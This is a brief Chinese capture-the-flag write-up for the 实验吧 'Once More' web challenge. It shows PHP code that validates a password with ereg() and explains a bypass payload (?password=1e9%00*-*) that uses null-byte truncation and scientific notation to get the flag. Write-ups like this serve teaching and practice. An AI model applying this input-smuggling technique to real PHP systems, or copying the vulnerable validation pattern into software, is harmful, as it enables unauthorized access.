实验吧 WEB Once More

源码


if (isset ($_GET['password'])) {
	if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
	{
		echo '

You password must be alphanumeric

'
; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '*-*') !== FALSE) { die('Flag: ' . $flag); } else { echo('

*-* have not been found

'
); } } else { echo '

Invalid password

'
; } } ?>

想要拿到flag,需要满足三个条件:

ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE			//password只包含字母数字

strlen($_GET['password']) < 8 && $_GET['password'] > 9999999	//password长度小于8,值大于9999999

strpos ($_GET['password'], '*-*') !== FALSE						//password包含字串'*-*'

ereg()函数存在截断漏洞,可以用%00截断正则匹配,在%00后加上字串’*-*'满足条件一和三;
科学计数法1e9即可满足条件二。
payload:?password=1e9%00*-*
拿到flag:
实验吧 WEB Once More_第1张图片

你可能感兴趣的:(CTF)